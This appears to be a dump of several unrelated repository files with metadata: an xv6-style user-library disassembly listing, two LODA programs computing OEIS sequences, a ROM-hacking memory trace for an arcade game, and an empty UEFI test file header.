mov $0x0,%eax while('0' <= *s && *s <= '9') 524: 77 1f ja 545 <atoi+0x35> 526: 8d 76 00 lea 0x0(%esi),%esi 529: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 530: 8d 04 80 lea (%eax,%eax,4),%eax 533: 83 c1 01 add $0x1,%ecx 536: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') 53a: 0f be 11 movsbl (%ecx),%edx 53d: 8d 5a d0 lea -0x30(%edx),%ebx 540: 80 fb 09 cmp $0x9,%bl 543: 76 eb jbe 530 <atoi+0x20> return n; } 545: 5b pop %ebx 546: 5d pop %ebp 547: c3 ret 548: 90 nop 549: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000550 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 550: 55 push %ebp 551: 89 e5 mov %esp,%ebp 553: 56 push %esi 554: 53 push %ebx 555: 8b 5d 10 mov 0x10(%ebp),%ebx 558: 8b 45 08 mov 0x8(%ebp),%eax 55b: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 55e: 85 db test %ebx,%ebx 560: 7e 14 jle 576 <memmove+0x26> 562: 31 d2 xor %edx,%edx 564: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 568: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 56c: 88 0c 10 mov %cl,(%eax,%edx,1) 56f: 83 c2 01 add $0x1,%edx while(n-- > 0) 572: 39 d3 cmp %edx,%ebx 574: 75 f2 jne 568 <memmove+0x18> return vdst; } 576: 5b pop %ebx 577: 5e pop %esi 578: 5d pop %ebp 579: c3 ret 0000057a <fork>: 57a: b8 01 00 00 00 mov $0x1,%eax 57f: cd 40 int $0x40 581: c3 ret 00000582 <exit>: 582: b8 02 00 00 00 mov $0x2,%eax 587: cd 40 int $0x40 589: c3 ret 0000058a <wait>: 58a: b8 03 00 00 00 mov $0x3,%eax 58f: cd 40 int $0x40 591: c3 ret 00000592 <pipe>: 592: b8 04 00 00 00 mov $0x4,%eax 597: cd 40 int $0x40 599: c3 ret 0000059a <read>: 59a: b8 05 00 00 00 mov $0x5,%eax 59f: cd 40 int $0x40 5a1: c3 ret 000005a2 <write>: 5a2: b8 10 00 00 00 mov $0x10,%eax 5a7: cd 40 int $0x40 5a9: c3 ret 000005aa <close>: 5aa: b8 15 00 00 00 mov $0x15,%eax 5af: cd 40 int $0x40 5b1: c3 ret 000005b2 <kill>: 5b2: b8 06 00 00 00 mov $0x6,%eax 5b7: cd 40 int $0x40 5b9: c3 ret 000005ba <exec>: 5ba: b8 07 00 00 00 mov $0x7,%eax 5bf: cd 40 int $0x40 5c1: c3 ret 000005c2 <open>: 5c2: b8 0f 00 00 00 mov $0xf,%eax 5c7: cd 40 int $0x40 5c9: c3 ret 000005ca <mknod>: 5ca: b8 11 00 00 00 mov $0x11,%eax 5cf: cd 40 int $0x40 5d1: c3 ret 000005d2 <unlink>: 5d2: b8 12 00 00 00 mov $0x12,%eax 5d7: cd 40 int $0x40 5d9: c3 ret 000005da <fstat>: 5da: b8 08 00 00 00 mov $0x8,%eax 5df: cd 40 int $0x40 5e1: c3 ret 000005e2 <link>: 5e2: b8 13 00 00 00 mov $0x13,%eax 5e7: cd 40 int $0x40 5e9: c3 ret 000005ea <mkdir>: 5ea: b8 14 00 00 00 mov $0x14,%eax 5ef: cd 40 int $0x40 5f1: c3 ret 000005f2 <chdir>: 5f2: b8 09 00 00 00 mov $0x9,%eax 5f7: cd 40 int $0x40 5f9: c3 ret 000005fa <dup>: 5fa: b8 0a 00 00 00 mov $0xa,%eax 5ff: cd 40 int $0x40 601: c3 ret 00000602 <getpid>: 602: b8 0b 00 00 00 mov $0xb,%eax 607: cd 40 int $0x40 609: c3 ret 0000060a <sbrk>: 60a: b8 0c 00 00 00 mov $0xc,%eax 60f: cd 40 int $0x40 611: c3 ret 00000612 <sleep>: 612: b8 0d 00 00 00 mov $0xd,%eax 617: cd 40 int $0x40 619: c3 ret 0000061a <uptime>: 61a: b8 0e 00 00 00 mov $0xe,%eax 61f: cd 40 int $0x40 621: c3 ret 00000622 <acquireTest>: 622: b8 16 00 00 00 mov $0x16,%eax 627: cd 40 int $0x40 629: c3 ret 0000062a <barrier>: 62a: b8 17 00 00 00 mov $0x17,%eax 62f: cd 40 int $0x40 631: c3 ret 632: 66 90 xchg %ax,%ax 634: 66 90 xchg %ax,%ax 636: 66 90 xchg %ax,%ax 638: 66 90 xchg %ax,%ax 63a: 66 90 xchg %ax,%ax 63c: 66 90 xchg %ax,%ax 63e: 66 90 xchg %ax,%ax 00000640 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 640: 55 push %ebp 641: 89 e5 mov %esp,%ebp 643: 57 push %edi 644: 56 push %esi 645: 53 push %ebx 646: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 649: 85 d2 test %edx,%edx { 64b: 89 45 c0 mov %eax,-0x40(%ebp) neg = 1; x = -xx; 64e: 89 d0 mov %edx,%eax if(sgn && xx < 0){ 650: 79 76 jns 6c8 <printint+0x88> 652: f6 45 08 01 testb $0x1,0x8(%ebp) 656: 74 70 je 6c8 <printint+0x88> x = -xx; 658: f7 d8 neg %eax neg = 1; 65a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) } else { x = xx; } i = 0; 661: 31 f6 xor %esi,%esi 663: 8d 5d d7 lea -0x29(%ebp),%ebx 666: eb 0a jmp 672 <printint+0x32> 668: 90 nop 669: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi do{ buf[i++] = digits[x % base]; 670: 89 fe mov %edi,%esi 672: 31 d2 xor %edx,%edx 674: 8d 7e 01 lea 0x1(%esi),%edi 677: f7 f1 div %ecx 679: 0f b6 92 8c 0a 00 00 movzbl 0xa8c(%edx),%edx }while((x /= base) != 0); 680: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 682: 88 14 3b mov %dl,(%ebx,%edi,1) }while((x /= base) != 0); 685: 75 e9 jne 670 <printint+0x30> if(neg) 687: 8b 45 c4 mov -0x3c(%ebp),%eax 68a: 85 c0 test %eax,%eax 68c: 74 08 je 696 <printint+0x56> buf[i++] = '-'; 68e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 693: 8d 7e 02 lea 0x2(%esi),%edi 696: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi 69a: 8b 7d c0 mov -0x40(%ebp),%edi 69d: 8d 76 00 lea 0x0(%esi),%esi 6a0: 0f b6 06 movzbl (%esi),%eax write(fd, &c, 1); 6a3: 83 ec 04 sub $0x4,%esp 6a6: 83 ee 01 sub $0x1,%esi 6a9: 6a 01 push $0x1 6ab: 53 push %ebx 6ac: 57 push %edi 6ad: 88 45 d7 mov %al,-0x29(%ebp) 6b0: e8 ed fe ff ff call 5a2 <write> while(--i >= 0) 6b5: 83 c4 10 add $0x10,%esp 6b8: 39 de cmp %ebx,%esi 6ba: 75 e4 jne 6a0 <printint+0x60> putc(fd, buf[i]); } 6bc: 8d 65 f4 lea -0xc(%ebp),%esp 6bf: 5b pop %ebx 6c0: 5e pop %esi 6c1: 5f pop %edi 6c2: 5d pop %ebp 6c3: c3 ret 6c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 6c8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 6cf: eb 90 jmp 661 <printint+0x21> 6d1: eb 0d jmp 6e0 <printf> 6d3: 90 nop 6d4: 90 nop 6d5: 90 nop 6d6: 90 nop 6d7: 90 nop 6d8: 90 nop 6d9: 90 nop 6da: 90 nop 6db: 90 nop 6dc: 90 nop 6dd: 90 nop 6de: 90 nop 6df: 90 nop 000006e0 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 6e0: 55 push %ebp 6e1: 89 e5 mov %esp,%ebp 6e3: 57 push %edi 6e4: 56 push %esi 6e5: 53 push %ebx 6e6: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 6e9: 8b 75 0c mov 0xc(%ebp),%esi 6ec: 0f b6 1e movzbl (%esi),%ebx 6ef: 84 db test %bl,%bl 6f1: 0f 84 b3 00 00 00 je 7aa <printf+0xca> ap = (uint*)(void*)&fmt + 1; 6f7: 8d 45 10 lea 0x10(%ebp),%eax 6fa: 83 c6 01 add $0x1,%esi state = 0; 6fd: 31 ff xor %edi,%edi ap = (uint*)(void*)&fmt + 1; 6ff: 89 45 d4 mov %eax,-0x2c(%ebp) 702: eb 2f jmp 733 <printf+0x53> 704: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 708: 83 f8 25 cmp $0x25,%eax 70b: 0f 84 a7 00 00 00 je 7b8 <printf+0xd8> write(fd, &c, 1); 711: 8d 45 e2 lea -0x1e(%ebp),%eax 714: 83 ec 04 sub $0x4,%esp 717: 88 5d e2 mov %bl,-0x1e(%ebp) 71a: 6a 01 push $0x1 71c: 50 push %eax 71d: ff 75 08 pushl 0x8(%ebp) 720: e8 7d fe ff ff call 5a2 <write> 725: 83 c4 10 add $0x10,%esp 728: 83 c6 01 add $0x1,%esi for(i = 0; fmt[i]; i++){ 72b: 0f b6 5e ff movzbl -0x1(%esi),%ebx 72f: 84 db test %bl,%bl 731: 74 77 je 7aa <printf+0xca> if(state == 0){ 733: 85 ff test %edi,%edi c = fmt[i] & 0xff; 735: 0f be cb movsbl %bl,%ecx 738: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 73b: 74 cb je 708 <printf+0x28> state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 73d: 83 ff 25 cmp $0x25,%edi 740: 75 e6 jne 728 <printf+0x48> if(c == 'd'){ 742: 83 f8 64 cmp $0x64,%eax 745: 0f 84 05 01 00 00 je 850 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 74b: 81 e1 f7 00 00 00 and $0xf7,%ecx 751: 83 f9 70 cmp $0x70,%ecx 754: 74 72 je 7c8 <printf+0xe8> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 756: 83 f8 73 cmp $0x73,%eax 759: 0f 84 99 00 00 00 je 7f8 <printf+0x118> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 75f: 83 f8 63 cmp $0x63,%eax 762: 0f 84 08 01 00 00 je 870 <printf+0x190> putc(fd, *ap); ap++; } else if(c == '%'){ 768: 83 f8 25 cmp $0x25,%eax 76b: 0f 84 ef 00 00 00 je 860 <printf+0x180> write(fd, &c, 1); 771: 8d 45 e7 lea -0x19(%ebp),%eax 774: 83 ec 04 sub $0x4,%esp 777: c6 45 e7 25 movb $0x25,-0x19(%ebp) 77b: 6a 01 push $0x1 77d: 50 push %eax 77e: ff 75 08 pushl 0x8(%ebp) 781: e8 1c fe ff ff call 5a2 <write> 786: 83 c4 0c add $0xc,%esp 789: 8d 45 e6 lea -0x1a(%ebp),%eax 78c: 88 5d e6 mov %bl,-0x1a(%ebp) 78f: 6a 01 push $0x1 791: 50 push %eax 792: ff 75 08 pushl 0x8(%ebp) 795: 83 c6 01 add $0x1,%esi } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 798: 31 ff xor %edi,%edi write(fd, &c, 1); 79a: e8 03 fe ff ff call 5a2 <write> for(i = 0; fmt[i]; i++){ 79f: 0f b6 5e ff movzbl -0x1(%esi),%ebx write(fd, &c, 1); 7a3: 83 c4 10 add $0x10,%esp for(i = 0; fmt[i]; i++){ 7a6: 84 db test %bl,%bl 7a8: 75 89 jne 733 <printf+0x53> } } } 7aa: 8d 65 f4 lea -0xc(%ebp),%esp 7ad: 5b pop %ebx 7ae: 5e pop %esi 7af: 5f pop %edi 7b0: 5d pop %ebp 7b1: c3 ret 7b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi state = '%'; 7b8: bf 25 00 00 00 mov $0x25,%edi 7bd: e9 66 ff ff ff jmp 728 <printf+0x48> 7c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 16, 0); 7c8: 83 ec 0c sub $0xc,%esp 7cb: b9 10 00 00 00 mov $0x10,%ecx 7d0: 6a 00 push $0x0 7d2: 8b 7d d4 mov -0x2c(%ebp),%edi 7d5: 8b 45 08 mov 0x8(%ebp),%eax 7d8: 8b 17 mov (%edi),%edx 7da: e8 61 fe ff ff call 640 <printint> ap++; 7df: 89 f8 mov %edi,%eax 7e1: 83 c4 10 add $0x10,%esp state = 0; 7e4: 31 ff xor %edi,%edi ap++; 7e6: 83 c0 04 add $0x4,%eax 7e9: 89 45 d4 mov %eax,-0x2c(%ebp) 7ec: e9 37 ff ff ff jmp 728 <printf+0x48> 7f1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi s = (char*)*ap; 7f8: 8b 45 d4 mov -0x2c(%ebp),%eax 7fb: 8b 08 mov (%eax),%ecx ap++; 7fd: 83 c0 04 add $0x4,%eax 800: 89 45 d4 mov %eax,-0x2c(%ebp) if(s == 0) 803: 85 c9 test %ecx,%ecx 805: 0f 84 8e 00 00 00 je 899 <printf+0x1b9> while(*s != 0){ 80b: 0f b6 01 movzbl (%ecx),%eax state = 0; 80e: 31 ff xor %edi,%edi s = (char*)*ap; 810: 89 cb mov %ecx,%ebx while(*s != 0){ 812: 84 c0 test %al,%al 814: 0f 84 0e ff ff ff je 728 <printf+0x48> 81a: 89 75 d0 mov %esi,-0x30(%ebp) 81d: 89 de mov %ebx,%esi 81f: 8b 5d 08 mov 0x8(%ebp),%ebx 822: 8d 7d e3 lea -0x1d(%ebp),%edi 825: 8d 76 00 lea 0x0(%esi),%esi write(fd, &c, 1); 828: 83 ec 04 sub $0x4,%esp s++; 82b: 83 c6 01 add $0x1,%esi 82e: 88 45 e3 mov %al,-0x1d(%ebp) write(fd, &c, 1); 831: 6a 01 push $0x1 833: 57 push %edi 834: 53 push %ebx 835: e8 68 fd ff ff call 5a2 <write> while(*s != 0){ 83a: 0f b6 06 movzbl (%esi),%eax 83d: 83 c4 10 add $0x10,%esp 840: 84 c0 test %al,%al 842: 75 e4 jne 828 <printf+0x148> 844: 8b 75 d0 mov -0x30(%ebp),%esi state = 0; 847: 31 ff xor %edi,%edi 849: e9 da fe ff ff jmp 728 <printf+0x48> 84e: 66 90 xchg %ax,%ax printint(fd, *ap, 10, 1); 850: 83 ec 0c sub $0xc,%esp 853: b9 0a 00 00 00 mov $0xa,%ecx 858: 6a 01 push $0x1 85a: e9 73 ff ff ff jmp 7d2 <printf+0xf2> 85f: 90 nop write(fd, &c, 1); 860: 83 ec 04 sub $0x4,%esp 863: 88 5d e5 mov %bl,-0x1b(%ebp) 866: 8d 45 e5 lea -0x1b(%ebp),%eax 869: 6a 01 push $0x1 86b: e9 21 ff ff ff jmp 791 <printf+0xb1> putc(fd, *ap); 870: 8b 7d d4 mov -0x2c(%ebp),%edi write(fd, &c, 1); 873: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 876: 8b 07 mov (%edi),%eax write(fd, &c, 1); 878: 6a 01 push $0x1 ap++; 87a: 83 c7 04 add $0x4,%edi putc(fd, *ap); 87d: 88 45 e4 mov %al,-0x1c(%ebp) write(fd, &c, 1); 880: 8d 45 e4 lea -0x1c(%ebp),%eax 883: 50 push %eax 884: ff 75 08 pushl 0x8(%ebp) 887: e8 16 fd ff ff call 5a2 <write> ap++; 88c: 89 7d d4 mov %edi,-0x2c(%ebp) 88f: 83 c4 10 add $0x10,%esp state = 0; 892: 31 ff xor %edi,%edi 894: e9 8f fe ff ff jmp 728 <printf+0x48> s = "(null)"; 899: bb 82 0a 00 00 mov $0xa82,%ebx while(*s != 0){ 89e: b8 28 00 00 00 mov $0x28,%eax 8a3: e9 72 ff ff ff jmp 81a <printf+0x13a> 8a8: 66 90 xchg %ax,%ax 8aa: 66 90 xchg %ax,%ax 8ac: 66 90 xchg %ax,%ax 8ae: 66 90 xchg %ax,%ax 000008b0 <free>: static Header base; static Header *freep; void free(void *ap) { 8b0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 8b1: a1 bc 0d 00 00 mov 0xdbc,%eax { 8b6: 89 e5 mov %esp,%ebp 8b8: 57 push %edi 8b9: 56 push %esi 8ba: 53 push %ebx 8bb: 8b 5d 08 mov 0x8(%ebp),%ebx bp = (Header*)ap - 1; 8be: 8d 4b f8 lea -0x8(%ebx),%ecx 8c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 8c8: 39 c8 cmp %ecx,%eax 8ca: 8b 10 mov (%eax),%edx 8cc: 73 32 jae 900 <free+0x50> 8ce: 39 d1 cmp %edx,%ecx 8d0: 72 04 jb 8d6 <free+0x26> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 8d2: 39 d0 cmp %edx,%eax 8d4: 72 32 jb 908 <free+0x58> break; if(bp + bp->s.size == p->s.ptr){ 8d6: 8b 73 fc mov -0x4(%ebx),%esi 8d9: 8d 3c f1 lea (%ecx,%esi,8),%edi 8dc: 39 fa cmp %edi,%edx 8de: 74 30 je 910 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 8e0: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 8e3: 8b 50 04 mov 0x4(%eax),%edx 8e6: 8d 34 d0 lea (%eax,%edx,8),%esi 8e9: 39 f1 cmp %esi,%ecx 8eb: 74 3a je 927 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 8ed: 89 08 mov %ecx,(%eax) freep = p; 8ef: a3 bc 0d 00 00 mov %eax,0xdbc } 8f4: 5b pop %ebx 8f5: 5e pop %esi 8f6: 5f pop %edi 8f7: 5d pop %ebp 8f8: c3 ret 8f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 900: 39 d0 cmp %edx,%eax 902: 72 04 jb 908 <free+0x58> 904: 39 d1 cmp %edx,%ecx 906: 72 ce jb 8d6 <free+0x26> { 908: 89 d0 mov %edx,%eax 90a: eb bc jmp 8c8 <free+0x18> 90c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp->s.size += p->s.ptr->s.size; 910: 03 72 04 add 0x4(%edx),%esi 913: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 916: 8b 10 mov (%eax),%edx 918: 8b 12 mov (%edx),%edx 91a: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 91d: 8b 50 04 mov 0x4(%eax),%edx 920: 8d 34 d0 lea (%eax,%edx,8),%esi 923: 39 f1 cmp %esi,%ecx 925: 75 c6 jne 8ed <free+0x3d> p->s.size += bp->s.size; 927: 03 53 fc add -0x4(%ebx),%edx freep = p; 92a: a3 bc 0d 00 00 mov %eax,0xdbc p->s.size += bp->s.size; 92f: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 932: 8b 53 f8 mov -0x8(%ebx),%edx 935: 89 10 mov %edx,(%eax) } 937: 5b pop %ebx 938: 5e pop %esi 939: 5f pop %edi 93a: 5d pop %ebp 93b: c3 ret 93c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000940 <malloc>: return freep; } void* malloc(uint nbytes) { 940: 55 push %ebp 941: 89 e5 mov %esp,%ebp 943: 57 push %edi 944: 56 push %esi 945: 53 push %ebx 946: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 949: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 94c: 8b 15 bc 0d 00 00 mov 0xdbc,%edx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 952: 8d 78 07 lea 0x7(%eax),%edi 955: c1 ef 03 shr $0x3,%edi 958: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 95b: 85 d2 test %edx,%edx 95d: 0f 84 9d 00 00 00 je a00 <malloc+0xc0> 963: 8b 02 mov (%edx),%eax 965: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 968: 39 cf cmp %ecx,%edi 96a: 76 6c jbe 9d8 <malloc+0x98> 96c: 81 ff 00 10 00 00 cmp $0x1000,%edi 972: bb 00 10 00 00 mov $0x1000,%ebx 977: 0f 43 df cmovae %edi,%ebx p = sbrk(nu * sizeof(Header)); 97a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi 981: eb 0e jmp 991 <malloc+0x51> 983: 90 nop 984: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 988: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 98a: 8b 48 04 mov 0x4(%eax),%ecx 98d: 39 f9 cmp %edi,%ecx 98f: 73 47 jae 9d8 <malloc+0x98> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 991: 39 05 bc 0d 00 00 cmp %eax,0xdbc 997: 89 c2 mov %eax,%edx 999: 75 ed jne 988 <malloc+0x48> p = sbrk(nu * sizeof(Header)); 99b: 83 ec 0c sub $0xc,%esp 99e: 56 push %esi 99f: e8 66 fc ff ff call 60a <sbrk> if(p == (char*)-1) 9a4: 83 c4 10 add $0x10,%esp 9a7: 83 f8 ff cmp $0xffffffff,%eax 9aa: 74 1c je 9c8 <malloc+0x88> hp->s.size = nu; 9ac: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 9af: 83 ec 0c sub $0xc,%esp 9b2: 83 c0 08 add $0x8,%eax 9b5: 50 push %eax 9b6: e8 f5 fe ff ff call 8b0 <free> return freep; 9bb: 8b 15 bc 0d 00 00 mov 0xdbc,%edx if((p = morecore(nunits)) == 0) 9c1: 83 c4 10 add $0x10,%esp 9c4: 85 d2 test %edx,%edx 9c6: 75 c0 jne 988 <malloc+0x48> return 0; } } 9c8: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 9cb: 31 c0 xor %eax,%eax } 9cd: 5b pop %ebx 9ce: 5e pop %esi 9cf: 5f pop %edi 9d0: 5d pop %ebp 9d1: c3 ret 9d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(p->s.size == nunits) 9d8: 39 cf cmp %ecx,%edi 9da: 74 54 je a30 <malloc+0xf0> p->s.size -= nunits; 9dc: 29 f9 sub %edi,%ecx 9de: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 9e1: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 9e4: 89 78 04 mov %edi,0x4(%eax) freep = prevp; 9e7: 89 15 bc 0d 00 00 mov %edx,0xdbc } 9ed: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 9f0: 83 c0 08 add $0x8,%eax } 9f3: 5b pop %ebx 9f4: 5e pop %esi 9f5: 5f pop %edi 9f6: 5d pop %ebp 9f7: c3 ret 9f8: 90 nop 9f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; a00: c7 05 bc 0d 00 00 c0 movl $0xdc0,0xdbc a07: 0d 00 00 a0a: c7 05 c0 0d 00 00 c0 movl $0xdc0,0xdc0 a11: 0d 00 00 base.s.size = 0; a14: b8 c0 0d 00 00 mov $0xdc0,%eax a19: c7 05 c4 0d 00 00 00 movl $0x0,0xdc4 a20: 00 00 00 a23: e9 44 ff ff ff jmp 96c <malloc+0x2c> a28: 90 nop a29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi prevp->s.ptr = p->s.ptr; a30: 8b 08 mov (%eax),%ecx a32: 89 0a mov %ecx,(%edx) a34: eb b1 jmp 9e7 <malloc+0xa7>
35.648951
73
0.410491
bd270dedce6fba3d1646dc2abe16960e96e672c7
725
asm
Assembly
oeis/165/A165857.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/165/A165857.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/165/A165857.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A165857: Totally multiplicative sequence with a(p) = 36. ; Submitted by Jon Maiga ; 1,36,36,1296,36,1296,36,46656,1296,1296,36,46656,36,1296,1296,1679616,36,46656,36,46656,1296,1296,36,1679616,1296,1296,46656,46656,36,46656,36,60466176,1296,1296,1296,1679616,36,1296,1296,1679616,36,46656,36,46656,46656,1296,36,60466176,1296,46656,1296,46656,36,1679616,1296,1679616,1296,1296,36,1679616,36,1296,46656,2176782336,1296,46656,36,46656,1296,46656,36,60466176,36,1296,46656,46656,1296,46656,36,60466176,1679616,1296,36,1679616,1296,1296,1296,1679616,36,1679616,1296,46656,1296,1296,1296 seq $0,1222 ; Number of prime divisors of n counted with multiplicity (also called bigomega(n) or Omega(n)). mov $2,36 pow $2,$0 mov $0,$2
80.555556
500
0.77931
d7411fe8bb6295a3e6a1e05de5cc23c0cc31ce88
399
asm
Assembly
dino/lcs/base/655.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
dino/lcs/base/655.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
dino/lcs/base/655.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 00AE56 move.b #$a, ($29,A6) [base+649] 00AE5C move.b #$ff, ($e,A6) [base+655] 00B00A tst.b ($5,A4) 00B00E beq $b020 [base+655] 00B010 subq.b #1, ($5,A4) 00B014 move.b #$a, ($9,A6) [base+655] 00B17E tst.b ($5,A4) 00B182 bne $b248 [base+63D, base+649, base+655] copyright zengfr site:http://github.com/zengfr/romhack
30.692308
54
0.634085
ce565c2df7fec634b67f65400709c04fb73eaefb
777
asm
Assembly
programs/oeis/158/A158543.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/158/A158543.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/158/A158543.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A158543: a(n) = 144*n^2 - 12. ; 132,564,1284,2292,3588,5172,7044,9204,11652,14388,17412,20724,24324,28212,32388,36852,41604,46644,51972,57588,63492,69684,76164,82932,89988,97332,104964,112884,121092,129588,138372,147444,156804,166452,176388,186612,197124,207924,219012,230388,242052,254004,266244,278772,291588,304692,318084,331764,345732,359988,374532,389364,404484,419892,435588,451572,467844,484404,501252,518388,535812,553524,571524,589812,608388,627252,646404,665844,685572,705588,725892,746484,767364,788532,809988,831732,853764,876084,898692,921588,944772,968244,992004,1016052,1040388,1065012,1089924,1115124,1140612,1166388,1192452,1218804,1245444,1272372,1299588,1327092,1354884,1382964,1411332,1439988 mov $1,2 add $1,$0 mul $1,$0 mul $1,144 add $1,132 mov $0,$1
77.7
682
0.812098
0309bd861b46038ad0f8c96ae09de14241964f4e
1,424
asm
Assembly
uefi-sct/SctPkg/TestCase/UEFI/EFI/Protocol/Usb2Hc/BlackBoxTest/x64/TimerInterrupt.asm
sunnywang-arm/edk2-test
475be9f7a70d012705eca64dd24a9eeaed643183
[ "BSD-2-Clause" ]
47
2018-10-15T02:34:39.000Z
2022-02-07T11:02:45.000Z
uefi-sct/SctPkg/TestCase/UEFI/EFI/Protocol/Usb2Hc/BlackBoxTest/x64/TimerInterrupt.asm
sunnywang-arm/edk2-test
475be9f7a70d012705eca64dd24a9eeaed643183
[ "BSD-2-Clause" ]
null
null
null
uefi-sct/SctPkg/TestCase/UEFI/EFI/Protocol/Usb2Hc/BlackBoxTest/x64/TimerInterrupt.asm
sunnywang-arm/edk2-test
475be9f7a70d012705eca64dd24a9eeaed643183
[ "BSD-2-Clause" ]
78
2018-10-08T01:17:19.000Z
2022-03-16T14:33:15.000Z
